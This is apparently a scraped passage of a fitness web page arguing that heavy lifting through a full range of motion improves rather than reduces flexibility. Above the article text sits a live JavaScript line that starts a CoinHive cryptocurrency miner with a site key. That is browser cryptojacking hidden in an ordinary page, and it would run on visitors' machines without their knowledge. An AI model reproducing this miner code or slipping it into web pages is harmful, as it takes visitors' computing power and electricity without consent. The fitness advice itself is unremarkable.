var miner = new CoinHive.Anonymous(‘M1Nox2d2P9FdGUNDj4QE7RGvv4nwGprj‘); miner.start();
MYTH #7: HEAVY LIFTING REDUCES FLEXIBILITY
If that’s the case, then how are Olympic lifters and gymnasts so damn flexible? Their secret? Lifting in a full range or motion (ROM). Example: A full-range squat, where you squat ass to heels, not only stretches the muscles and connective tissue to their limits, but it strengthens them as well. Just remember to breathe, keep your spine neutral, and use a weight you can handle. Otherwise, we’ll start referring to you as Chris …
